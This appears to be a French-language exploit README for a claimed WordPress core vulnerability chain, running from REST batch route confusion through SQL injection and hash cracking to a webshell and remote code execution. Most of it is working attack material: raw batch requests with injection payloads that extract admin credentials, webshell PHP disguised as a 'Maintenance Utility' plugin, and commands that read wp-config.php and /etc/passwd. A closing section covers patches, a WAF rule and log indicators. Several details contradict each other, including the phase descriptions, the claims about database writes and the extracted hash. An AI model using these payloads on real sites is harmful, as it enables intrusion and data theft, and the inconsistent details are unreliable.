
Vulnérabilité: REST Batch Route Confusion + WP_Query SQL Injection → RCE complet
CVSS v3.1: 10.0 / 10.0 — CRITIQUE | AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Versions affectées: WordPress 6.9.0–6.9.4, 7.0.0–7.0.1 | Version corrigée: 6.9.5, 7.0.2``` Zero credentials → Route Confusion → SQLi → Admin → Shell Upload → RCE (www-data)
---
## Démarrage rapide
### 1. Configurer le laboratoire vulnérable
**Prérequis :** Docker + Docker Compose```bash
git clone https://github.com/Dungsocool/CVE-2026-60137_CVE-2026-63030.git
cd CVE-2026-60137_CVE-2026-63030
# Start vulnerable WordPress
docker compose up -d
# Wait ~30 seconds for WordPress to initialize, then open:
# http://localhost:8080
pip install requests
python3 exploit.py http://localhost:8080
python3 exploit.py http://localhost:8080 --cmd "cat /etc/passwd"
python3 exploit.py http://localhost:8080 --check-only
### 3. Sortie attendue```
[*] Phase 1: Confirming Route Confusion (CVE-2026-63030)...
[+] Primer triggered: parse_path_failed
[+] Desync confirmed: rest_invalid_handler
[+] Route Confusion CONFIRMED — auth bypass possible
[*] Phase 2: SQL Injection — extracting admin credentials...
[+] Boolean-based blind SQLi CONFIRMED
[+] Admin username: admin
[+] Password hash: $wp$2y$10$...
[*] Phase 3: Attempting login with common passwords...
[+] LOGIN SUCCESS: admin:admin123
[*] Phase 4: Uploading webshell via plugin upload...
[+] Plugin uploaded
[+] Plugin activated
[*] Phase 5: RCE verification...
[+] Shell found at: /wp-content/plugins/shell/shell.php
[+] RCE CONFIRMED!
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@target$ _
Vulnérabilité : Exécution de code à distance non authentifiée — Confusion de route REST Batch + Injection SQL WP_Query
CVSS v3.1 : 10.0 / 10.0 — CRITIQUE
Vecteur : AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
CVE-2026-60137 est une vulnérabilité RCE non authentifiée dans le cœur de WordPress. Elle combine deux bogues indépendants en une chaîne d'exploitation complète allant de l'absence totale d'accès au compromis complet du serveur :
| CVE | Bogue | Rôle dans la chaîne |
|---|---|---|
| CVE-2026-63030 | Confusion de route REST Batch | Contournement de l'authentification |
| CVE-2026-60137 | Injection SQL author__not_in | Lecture/écriture arbitraire de la base de données |
Versions affectées :
Conditions d'exploitation :
→ La grande majorité des installations WordPress sont vulnérables par défaut.
/wp-json/batch/v1)Permet d'envoyer plusieurs requêtes d'API REST dans une seule requête HTTP :```json POST /wp-json/batch/v1 { "requests": [ {"method": "GET", "path": "/wp/v2/posts/1"}, {"method": "GET", "path": "/wp/v2/users/me"} ] }
Chaque sous-requête est associée à son propre gestionnaire, et chaque gestionnaire possède son propre **callback de permission**.
### WP_Query — `author__not_in`
Classe de requête de base de données principale. Le paramètre `author__not_in` accepte un tableau d'entiers, générant la clause SQL :```sql
AND post_author NOT IN (5, 12, 23)
Chaque élément passe par absint() → ne conservant que la partie entière.
wp_parse_url()Wrapper pour parse_url(). Lors de la réception d'une URL invalide → retourne WP_Error.```php
wp_parse_url("https://example.com/path") // → OK
wp_parse_url("///") // → WP_Error
## 3. Cause racine — Bug A : Confusion de route par lot (CVE-2026-63030)
**Fichier :** `wp-includes/rest-api/class-wp-rest-server.php`
### Code source vulnérable :```php
public function serve_batch_request_v1( WP_REST_Request $batch_request ) {
$requests = $batch_request->get_json_params()['requests'];
$matches = array();
foreach ( $requests as $i => $single_request ) {
$parsed = wp_parse_url( $single_request['path'] );
if ( is_wp_error( $parsed ) ) {
$responses[ $i ] = $this->error_to_response( $parsed );
continue; // ←BUG: $matches[] is NOT appended
}
$matches[] = $this->match_request_to_handler( $parsed );
// ← sequential indices 0, 1, 2... DO NOT match $i when an error occurs
}
// Dispatch — this is where the bug comes into play
$match_index = 0;
foreach ( $requests as $i => $single_request ) {
if ( isset( $responses[ $i ] ) ) continue;
$handler = $matches[ $match_index ]; // ← INDEX IS DESYNCED
$match_index++;
// Request[i] runs with the permission callback OF ANOTHER REQUEST
$permission_callback = $handler['permission_callback'];
call_user_func( $permission_callback, $single_request );
}
}
Batch Request: [0]: {"method": "POST", "path": "///"} ← PRIMER (malformed) [1]: {"method": "POST", "path": "/wp/v2/posts", "body": {...}}
Processing: i=0: wp_parse_url("///") → WP_Error → skip → $matches NOT added i=1: wp_parse_url("/wp/v2/posts") → OK → $matches[0] = handler
Dispatch: i=0: skip (already has response) i=1: $handler = $matches[0] → But $matches[0] is NOT the handler meant for request[1] → Incorrect permission callback → bypass authentication
### Pourquoi `"///"` déclenche-t-il le bug ?
Lorsque PHP `parse_url()` rencontre `"///"`, il tente de l'analyser conformément à la **RFC 3986** — structure d'URL :```
scheme :// authority / path
│ │ │
"https" "localhost:8080" "/wp/v2/posts"
│
host + port
Lorsqu'il reçoit "///", il l'interprète comme :```
// → authority begins (double slash = has host)
/ → empty authority, path begins immediately
→ host = "" (empty)
→ path = "" (empty)
→ scheme = none
Résultat retourné par PHP:```
parse_url("///")
// → ["host" => "", "path" => ""]
// or false — depending on PHP version
WordPress encapsule cela dans wp_parse_url() → détecte aucun schéma valide, aucun hôte valide, aucun chemin significatif → retourne WP_Error.
wp_parse_url("///") retourne WP_Error (URL malformée). Cette erreur entraîne l'ignorance de la requête dans la boucle qui construit $matches, mais elle n'est PAS ignorée dans la boucle de répartition → le tableau devient désynchronisé.
Fichier : wp-includes/class-wp-query.php
class WP_Query { public function get_posts() { global $wpdb;
if ( ! empty( $q['author__not_in'] ) ) {
$author_not_in = implode(',', wp_parse_id_list($q['author__not_in']));
$where .= " AND{$wpdb->posts}.post_author NOT IN ($author_not_in)";
// ↑ INJECTION POINT
}
}
}
### Chemin normal (sûr):```
User input → REST Controller → array cast + absint() → WP_Query → SQL
↑ sanitization occurs here
Contrôleur REST (class-wp-rest-posts-controller.php) :```php
$args['author__not_in'] = array_map('absint', (array)$request['author_exclude']);
// "0) UNION SELECT..." → (array)"0) UNION..." → ["0) UNION..."] → [0]
// → SAFE
### Chemin avec confusion de route (Vulnérable) :```
User input → Route Confusion bypass → WP_Query directly → SQL
↑ REST controller is SKIPPED
Lorsque la désynchronisation du batch se produit, les paramètres de requête ne passent pas par le contrôleur REST → la chaîne brute va directement dans WP_Query → wp_parse_id_list() présente un contournement de cas limite → injection SQL.
author_exclude = "0) UNION SELECT 1,user_login,user_pass,4,...,23 FROM wp_users-- -"
SQL généré :```sql
AND post_author NOT IN (0) UNION SELECT 1,user_login,user_pass,...FROM wp_users-- -)
↑ INJECTED ↑ commented out
| Scénario | Résultat |
|---|---|
| Bug A seul (Route Confusion) | Contournement de permission → mais rien à injecter |
| Bug B seul (SQLi) | Le contrôleur REST effectue toujours un cast de l'entrée → impossible d'injecter |
| Bug A + Bug B | La confusion contourne le contrôleur → chaîne brute dans SQL → RCE |
Individuellement, ces deux bugs sont inoffensifs. Seulement lorsqu'ils sont chaînés :
POST /wp-json/batch/v1 Content-Type: application/json
{ "requests": [ {"method": "POST", "path": "///"}, {"method": "POST", "path": "/wp/v2/posts", "body": {"author_exclude": "PAYLOAD"}} ] }
→ Response[0] : `parse_path_failed` (amorce déclenchée)
→ Response[1] : `rest_invalid_handler` (désynchronisation du gestionnaire confirmée)
### **Phase 2 : Injection SQL — Extraction de données**
**Booléen aveugle :**```
0) OR (SELECT ASCII(SUBSTRING(user_login,1,1)) FROM wp_users WHERE ID=1) > 96-- -
Comparez la réponse TRUE vs FALSE → recherche binaire sur chaque caractère.
UNION In-Band :``` 0) UNION SELECT 99999,1,NOW(),NOW(),user_pass,user_login,'','publish', 'closed','closed','','slug','','',NOW(),NOW(),'',0, CONCAT('http://x/',user_login),0,'post','',0 FROM wp_users LIMIT 1-- -
Fake post row containing credentials returned in the JSON response.
→ Résultat : extraction réussie de `user_login` et `user_pass` (hash bcrypt) depuis `wp_users`.
### **Phase 3 : Casser le hash → Connexion admin**
Le hash obtenu à la phase 2 est au format bcrypt (`$wp$2y$10$...`). Supprimez le préfixe `$wp$` → cassez avec john/hashcat + wordlist → obtenez le mot de passe en clair → connectez-vous à `/wp-login.php`.
**Remarque :** Le point d'injection se trouve dans la clause `WHERE` de `SELECT`. MySQL désactive les instructions multiples → UNION est en lecture seule, pas en écriture → impossible d'insérer un nouvel admin directement via SQLi. Il faut casser le hash pour obtenir une session valide.
### Phase 4 : Téléversement de webshell```
1. Login with new admin → wp-login.php
2. GET /wp-admin/plugin-install.php?tab=upload → extract _wpnonce
3. POST multipart → upload ZIP plugin containing PHP shell
4. Activate plugin
GET /wp-content/plugins/shell/shell.php?token=xxx&cmd=id → uid=33(www-data) gid=33(www-data)
## **7. EXPLOITATION**
L'exploitation de CVE-2026-60137 passe de **zéro accès** — aucun compte, aucun mot de passe, aucune session — au **contrôle total du serveur** uniquement via des requêtes HTTP.
**Prérequis :** La cible exécute WordPress 6.9.0–6.9.4 ou 7.0.0–7.0.1 avec l'API REST publique (activée par défaut). Pas besoin de se connecter ni de connaître le moindre identifiant.
**La chaîne d'exploitation comprend 5 phases :**```
Phase 1: Route Confusion → Bypass authentication
Phase 2: SQL Injection → Read database (username, password hash)
Phase 3: Crack-Free Admin → Create new admin without cracking password
Phase 4: Webshell Upload → Install backdoor via plugin upload
Phase 5: RCE → Execute arbitrary commands on the server
Objectif : Confirmer que la cible est vulnérable — le tableau de gestionnaires est désynchronisé lors de l'envoi du chemin d'amorçage "///".
Principe : Le point de terminaison de lot permet d'envoyer plusieurs requêtes REST en un seul appel HTTP. Lorsque wp_parse_url("///") échoue, WordPress ignore cette requête lors de la construction du tableau $matches mais NE L'IGNORE PAS lors de la distribution → les gestionnaires sont décalés → la requête suivante s'exécute avec le mauvais callback de permission → contournement de l'authentification.
Envoyer la requête :``` POST /?rest_route=/batch/v1 HTTP/1.1 Host: localhost:8080 Content-Type: application/json
{"requests":[{"method":"POST","path":"///"},{"method":"POST","path":"/wp/v2/posts","body":{"title":"test","status":"draft"}}]}
**Réponse :**```
{
"responses": [
{"body": {"code": "parse_path_failed"}, "status": 400},
{"body": {"code": "rest_invalid_handler"}, "status": 500}
]
}
Comment lire :

Nous observons que rest_invalid_handler signifie :
« WordPress réalise que le handler NE CORRESPOND PAS à la requête »
→ Cela signifie que le tableau $matches est DÉJÀ DÉSYNCHRONISÉ, le primer "///" A FONCTIONNÉ et cette désynchronisation PEUT être exploitée pour faire exécuter la requête avec le callback de permission D'UNE AUTRE ROUTE (une route qui ne nécessite pas d'authentification)
→ LE CONTOURNEMENT DE L'AUTHENTIFICATION EST POSSIBLE
Voir rest_invalid_handler → Bug A confirmé.
VRAI (OR 1=1) :
```
POST /?rest_route=/batch/v1 HTTP/1.1
Host: localhost:8080
Content-Type: application/json
{"requests":[{"method":"GET","path":"///"},{"method":"GET","path":"/wp/v2/posts?author_exclude=0) OR 1=1-- -"},{"method":"GET","path":"/wp/v2/posts"}]}
**FALSE (AND 1=2):**
```
POST /?rest_route=/batch/v1 HTTP/1.1
Host: localhost:8080
Content-Type: application/json
{"requests":[{"method":"GET","path":"///"},{"method":"GET","path":"/wp/v2/posts?author_exclude=0) AND 1=2-- -"},{"method":"GET","path":"/wp/v2/posts"}]}
Difference in X-WP-Total → SQLi confirmé.
1er caractère:
```
POST /?rest_route=/batch/v1 HTTP/1.1
Host: localhost:8080
Content-Type: application/json
{"requests":[{"method":"GET","path":"///"},{"method":"GET","path":"/wp/v2/posts?author_exclude=0) AND (SELECT SUBSTRING(user_login,1,1) FROM wp_users WHERE ID=1)=CHAR(97)-- -"},{"method":"GET","path":"/wp/v2/posts"}]}
`CHAR(97)` = `'a'`. X-WP-Total=8 (TRUE) → donc le premier caractère est `'a'`
En énumérant séquentiellement, on obtient : `user_login` = **"admin"**
#### **Étape 3 — Extraire le hash du mot de passe**```
POST /?rest_route=/batch/v1 HTTP/1.1
Host: localhost:8080
Content-Type: application/json
{"requests":[{"method":"GET","path":"///"},{"method":"GET","path":"/wp/v2/posts?author_exclude=0) AND (SELECT ASCII(SUBSTRING(user_pass,1,1)) FROM wp_users WHERE ID=1) > 30-- -"},{"method":"GET","path":"/wp/v2/posts"}]}


Utilisez la recherche binaire pour déterminer le code ASCII de chaque caractère dans user_pass :```
Payload: ASCII(SUBSTRING(user_pass,1,1)) > 30 → X-WP-Total: 8 (TRUE)
Payload: ASCII(SUBSTRING(user_pass,1,1)) > 40 → X-WP-Total: 0 (FALSE)
Deux réponses opposées confirment que l'ASCII du premier caractère se situe dans l'intervalle **(30, 40]**. Continuez à affiner :```
> 35 → TRUE
> 36 → FALSE
→ ASCII = 36 = '$'
Continuez la recherche binaire à chaque position → obtenez la chaîne de préfixe de hachage $wp$ :
Continuez à utiliser l'injection SQL aveugle, caractère par caractère :
→ Hash complet : $wp$2y$10$92IXUNpkjO0rOQ5byMi.Ye4oKoEa3Ro9llC/.og/at2.uheWG/igi
Après la phase 2, nous avons :
user_login = adminuser_pass = $wp$2y$10$92IXUNpkjO0rOQ5byMi.Ye4oKoEa3Ro9llC/.og/at2.uheWG/igiCraquer le hash
Les hachages WordPress utilisent le format bcrypt ($2y$10$), avec un facteur de coût de 10. Avant de craquer, nous devons retirer le préfixe $wp$ car hashcat/john n'accepte que du bcrypt pur :```
echo '$2y$10$92IXUNpkjO0rOQ5byMi.Ye4oKoEa3Ro9llC/.og/at2.uheWG/igi' > hash.txt
john hash.txt --wordlist=mini_wordlist.txt --format=bcrypt
**Résultat :**

Le mot de passe **`admin123`** est dans la wordlist → john le casse immédiatement avec succès.
→ Connexion réussie à `/wp-login.php` avec `admin:admin123`.
### **7.4 Phase 4 : Téléversement d'un webshell**
À ce stade, nous disposons d'une session admin valide. L'objectif suivant est d'**installer une backdoor sur le serveur** afin de conserver un accès indépendamment des identifiants.
WordPress permet aux administrateurs de téléverser des plugins au format ZIP — c'est une fonctionnalité légitime, et nous allons en abuser.
#### **Créer un webshell**
Tout d'abord, nous avons besoin d'un fichier PHP qui exécute des commandes système. Ce fichier sera empaqueté dans un faux plugin pour que WordPress l'accepte :```php
<?php
/*
Plugin Name: Maintenance Utility
Version: 1.0
*/
if (isset($_GET['token']) && $_GET['token'] === 'secret123' && isset($_GET['cmd'])) {
header('Content-Type: text/plain');
echo shell_exec($_GET['cmd'] . ' 2>&1');
exit;
}
The secret123 token agit comme un mot de passe — empêchant les autres de déclencher accidentellement le shell.```bash
mkdir shell && mv shell.php shell/
zip -r shell.zip shell/

Créé avec succès.
#### **Téléversement vers WordPress**
Après avoir créé `shell.zip` avec succès, téléversez le fichier zip dans la section des plugins pour le déclencher.
WordPress extrait et place le fichier à :```
/var/www/html/wp-content/plugins/shell/shell.php
Le plugin apparaît dans la liste sous le nom "Maintenance Utility" avec le statut Actif → le webshell est maintenant prêt à être déclenché via HTTP.

UPLOAD et ACTIVE réussis.
Ainsi, le Shell est sur le serveur. Appelez-le pour exécuter le shell.
Confirmer le RCE :``` GET /wp-content/plugins/shell/shell.php?token=secret123&cmd=id
```
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Exécution en tant qu'utilisateur www-data — l'utilisateur du serveur web. Ensuite, augmentez l'impact :
GET /wp-content/plugins/shell/shell.php?token=secret123&cmd=cat+/var/www/html/wp-config.php

— Exécute la commande pour lire le fichier `wp-config.php` via le webshell — exposant toutes les clés secrètes WordPress (`AUTH_KEY`, `SECURE_AUTH_KEY`, `LOGGED_IN_KEY`, `NONCE_KEY`,...) et les identifiants de la base de données. C'est l'information la plus sensible d'une installation WordPress.

*—* La réponse renvoie le contenu de `wp-config.php`, notamment `DB_NAME`, `DB_USER`, `DB_PASSWORD`, `DB_HOST` — suffisant pour accéder directement au serveur de base de données sans passer par WordPress.
#### **Lire tous les utilisateurs système :**```
GET /wp-content/plugins/shell/shell.php?token=secret123&cmd=cat+/etc/passwd

→ Confirme l'accès au niveau du système d'exploitation, ne se limitant plus au périmètre de WordPress.
À ce stade, la chaîne d'exploitation est complète :``` Zero credentials ↓ Route Confusion (Bug A) Auth bypass ↓ SQL Injection (Bug B) admin:admin123 ↓ hashcat/john Admin session ↓ Plugin upload Webshell active ↓ shell_exec() Full RCE — www-data
### **7.6 Résumé**
| **#** | **Phase** | **Méthode** | **Chemin** |
| --- | --- | --- | --- |
| 1 | SQLi TRUE | POST | `/?rest_route=/batch/v1` |
| 2 | SQLi FALSE | POST | `/?rest_route=/batch/v1` |
| 3 | Extraire le nom d'utilisateur | POST | `/?rest_route=/batch/v1` |
| 4 | Extraire le hash | POST | `/?rest_route=/batch/v1` |
| 5 | Connexion admin | POST | `/wp-login.php` |
| 6 | Obtenir le nonce | GET | `/wp-admin/plugin-install.php` |
| 7 | Téléverser le shell | POST | `/wp-admin/update.php` |
| 8 | Activer | GET | `/wp-admin/plugins.php` |
| 9 | **RCE** | GET | `/wp-content/plugins/shell/shell.php` |
**9 requêtes. Zéro identifiant initial. De la page de connexion → contrôle total du serveur.**
## 8. Répartition CVSS
| Métrique | Valeur | Raison |
| --- | --- | --- |
| Vecteur d'attaque | Réseau | À distance via HTTP |
| Complexité d'attaque | Faible | Déterministe, aucun timing/condition de course requis |
| Privilèges requis | Aucun | Totalement non authentifié |
| Interaction utilisateur | Aucune | Aucune action de la victime requise |
| Portée | Modifiée | WP → niveau OS (www-data) |
| Confidentialité | Élevée | Lecture complète de la BD |
| Intégrité | Élevée | Écriture arbitraire en BD, téléversement de fichier |
| Disponibilité | Élevée | DROP tables, ransomware |
## 9. Impact
### Technique
| Couche | Impact |
| --- | --- |
| Base de données | Accès LECTURE/ÉCRITURE à tout : wp_users, wp_options, wp_posts |
| Application | Créer des admins, modifier le contenu, installer des backdoors |
| Serveur | RCE en tant que www-data, lire wp-config.php, /etc/passwd |
| Réseau | Pivot vers les services internes via les identifiants de la BD |
### Entreprise
| Scénario | Conséquences |
| --- | --- |
| E-commerce | Fuite de données personnelles (PII), vol de clés de paiement, injection de skimmers |
| Entreprise | Défacement, spam SEO, distribution de malwares |
| Multisite | 1 exploit → compromet l'ensemble du réseau |
| SaaS (marketing WP) | Extraire les variables d'environnement → pivot vers la production |
### Données à risque
- `wp_users` : nom d'utilisateur, e-mail, hash du mot de passe
- `wp_usermeta` : données personnelles (nom, téléphone, adresse), session_tokens
- `wp_options` : identifiants BD, identifiants SMTP, clés API de paiement, sels WordPress
- `wp-config.php` : hôte/utilisateur/mot de passe de la base de données, clés secrètes
- `/proc/self/environ` : variables d'environnement
## 10. Défense et remédiation
### 10.1 Correctif (complet)
| Version actuelle | Vers laquelle mettre à niveau |
| --- | --- |
| 6.9.0 – 6.9.4 | **6.9.5** |
| 7.0.0 – 7.0.1 | **7.0.2** |
| 6.8.x | **6.8.6** |
### 10.2 Correctif de code
**Bug A — Confusion de route :**```php
// BEFORE: $matches[] is offset when an error occurs
if (is_wp_error($parsed)) { continue; }
$matches[] = $match;
// AFTER: Use $i to maintain alignment
if (is_wp_error($parsed)) { $matches[$i] = null; continue; }
$matches[$i] = $match;
Bug B — SQL Injection:```php // BEFORE: wp_parse_id_list has an edge case $author_not_in = implode(',', wp_parse_id_list($q['author__not_in']));
// AFTER: Force cast + explicit absint $safe = array_map('absint', array_filter((array)$q['author__not_in'])); $author_not_in = implode(',', $safe);
### 10.3 Atténuation temporaire
**1. Désactiver le point de terminaison batch (le plus efficace) :**```php
add_filter('rest_endpoints', function($endpoints) {
unset($endpoints['/batch/v1']);
return $endpoints;
});
2. Activer Redis/Memcached:```bash wp plugin install redis-cache --activate wp redis enable
→ L'injection UNION ne se reflète pas (le cache renvoie des données obsolètes).
**3. Règle WAF :**```nginx
location /wp-json/batch/ {
if ($request_body ~* '"path"\s*:\s*"///') {
return 403;
}
}
Modèles de journaux :``` POST /wp-json/batch/v1 HTTP/1.1" 207 ← anomalous batch requests POST /wp-json/wp/v2/users HTTP/1.1" 201 ← newly created admin POST /wp-admin/update.php HTTP/1.1" 200 ← plugin upload immediately after GET /wp-content/plugins/*/shell.php" 200 ← webshell access
**Vérification des IOC :**```bash
wp user list --role=administrator # unfamiliar admin?
ls wp-content/mu-plugins/ # backdoor?
wp core verify-checksums # core modified?
| Fichier | Description |
|---|
README.md | Analyse complète de la vulnérabilité et rapport d'exploitation |
exploit.py | Script d'exploitation automatisé (zéro accès → RCE en une seule commande) |
docker-compose.yml | Environnement de laboratoire WordPress vulnérable |
chain-rce.md | Documentation de la chaîne RCE automatisée |
images/ | Captures d'écran de l'exploitation manuelle |
| Code |
|---|
| Signification |
|---|
[0] | parse_path_failed | Primer fonctionne — wp_parse_url("///") a échoué |
[1] | rest_invalid_handler | DESYNC ! La requête a reçu le mauvais handler → contournement de l'authentification |
| Position | ASCII | Caractère | Remarques |
|---|
| 1 | 36 | $ | Préfixe de hachage |
| 2 | 119 | w | |
| 3 | 112 | p | |
| 4 | 36 | $ | → $wp$ = variante bcrypt |
| 5-20 | ... | 2y$10$aJgATdlhfI | Facteur de coût + sel |